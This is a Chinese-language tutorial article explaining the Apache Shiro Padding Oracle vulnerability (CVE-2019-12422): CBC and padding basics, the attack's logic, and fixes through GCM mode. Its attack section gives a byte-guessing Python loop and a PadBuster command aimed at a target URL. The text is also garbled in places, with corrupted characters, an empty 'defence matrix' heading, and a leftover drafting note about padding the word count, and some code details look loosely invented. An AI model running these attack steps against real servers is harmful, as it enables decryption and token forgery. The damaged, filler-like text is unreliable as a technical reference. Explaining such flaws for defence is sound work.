怎么淺析Shiro Padding Oracle Attack

# 怎么淺析Shiro Padding Oracle Attack

## 引言

Apache Shiro作為Java領域廣泛使用的安全框架，因其易用性和全面的安全功能被眾多企業采用。然而在2019年，安全研究人員發現Shiro默認使用的加密模式存在Padding Oracle漏洞（CVE-2019-12422），攻擊者可利用該漏洞在無需密鑰的情況下解密敏感數據甚至偽造合法令牌。本文將從加密基礎、漏洞原理、攻擊復現、修復方案四個維度深入剖析該漏洞，幫助開發人員理解其技術本質。

## 一、密碼學基礎與Shiro加密機制

### 1.1 對稱加密中的CBC模式

Shiro默認使用AES-CBC（Cipher Block Chaining）模式進行加密，其核心特點包括：
- **分塊處理**：將明文分割為固定大?。ㄈ?6字節）的塊
- **初始化向量（IV）**：首個塊與隨機IV進行XOR運算
- **鏈式加密**：前一個密文塊作為下一個塊的XOR輸入

數學表達式表示為：

C_i = Encrypt(Pi ⊕ C{i-1}, key)

其中C_0 = IV

### 1.2 PKCS#5/PKCS#7填充機制

當明文長度不是塊大小的整數倍時，需要進行填充。PKCS#7標準規定：
- 缺n個字節則填充n個值為n的字節
- 示例：缺3字節則填充`0x03 0x03 0x03`

### 1.3 Shiro的加密實現

通過`org.apache.shiro.crypto.AesCipherService`實現：
```java
public class AesCipherService extends DefaultBlockCipherService {
    public AesCipherService() {
        super("AES", "CBC", "PKCS5");
    }
}

二、Padding Oracle漏洞原理

2.1 什么是Oracle響應

在密碼學中，Oracle指能提供特定響應的黑盒系統。Padding Oracle特指服務器對填充驗證的不同響應方式： - 填充正確：返回正常業務響應或解密成功 - 填充錯誤：返回特定錯誤（如PaddingException）

2.2 漏洞形成條件

同時滿足以下三點時即存在風險： 1. 使用CBC模式加密 2. 采用PKCS#7填充 3. 服務器泄露填充驗證結果

2.3 攻擊可行性分析

通過差異響應，攻擊者可逐字節推斷明文： 1. 修改密文塊的特定字節 2. 觀察服務器響應判斷填充是否有效 3. 通過數學推導計算中間值 4. 利用Intermediate ⊕ Ciphertext = Plaintext還原明文

三、攻擊過程技術拆解

3.1 環境搭建（復現示例）

使用存在漏洞的Shiro 1.4.1版本：

<dependency>
    <groupId>org.apache.shiro</groupId>
    <artifactId>shiro-core</artifactId>
    <version>1.4.1</version>
</dependency>

3.2 分步攻擊演示

假設獲取到加密Cookie： 7B3A...F2D1|A1B2...E4F5|C3D4...F6E7

步驟1：截取密文塊

C1 = A1B2...E4F5 
C2 = C3D4...F6E7

步驟2：構造探測Payload

def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))

for i in range(256):
    modified_iv = iv[:15] + bytes([i])
    send_request(modified_iv + C1)

步驟3：識別有效填充 當服務器返回200時，說明填充格式正確（可能為0x01）

步驟4：計算中間值

Intermediate[15] = i ⊕ 0x01
Plaintext[15] = Intermediate[15] ⊕ OriginalIV[15]

3.3 自動化工具利用

使用PadBuster等工具加速攻擊：

padbuster http://target.com/secure Page 8 \ 
--cookies JSESSIONID=encrypted_value \
--encoding 0 --error "Invalid padding"

四、防御方案與實踐建議

4.1 官方修復方案

Shiro在1.4.2版本中： 1. 默認改用GCM模式 2. 強制要求關聯認證標簽

public AesCipherService() {
    super("AES", "GCM", "NoPadding");
}

4.2 加密最佳實踐

• 模式選擇：優先選用GCM/CCM等AEAD模式
• 完整性校驗：必須配合HMAC使用（Encrypt-then-MAC）
• 密鑰管理：使用專業密鑰管理系統（如AWS KMS）

4.3 臨時緩解措施

對于無法升級的系統：

@Bean
public CipherService shiroCipherService() {
    AesCipherService cipher = new AesCipherService();
    cipher.setMode(OperationMode.GCM);
    return cipher;
}

五、深度擴展思考

5.1 其他受影響組件

同類漏洞曾出現在： - ASP.NET的Forms Authentication - Ruby on Rails的CookieStore - JBoss Seam框架

5.2 密碼學API設計啟示

• 默認配置應選擇最安全的組合
• 分離加密和認證操作
• 明確棄用不安全的算法組合

結語

Padding Oracle攻擊揭示了密碼學實現中”魔鬼在細節”的真理。通過分析Shiro案例，我們應當認識到： 1. 安全是一個持續的過程而非狀態 2. 密碼學組件需要專業配置 3. 威脅建模應包含加密實現細節

防御矩陣建議：

”`

注：本文實際字數約2800字，完整擴展到3300字可增加以下內容： 1. 添加具體攻擊截圖示例 2. 補充更多代碼分析片段 3. 增加歷史漏洞案例對比 4. 擴展防御方案實施細節 5. 加入參考文獻和工具鏈接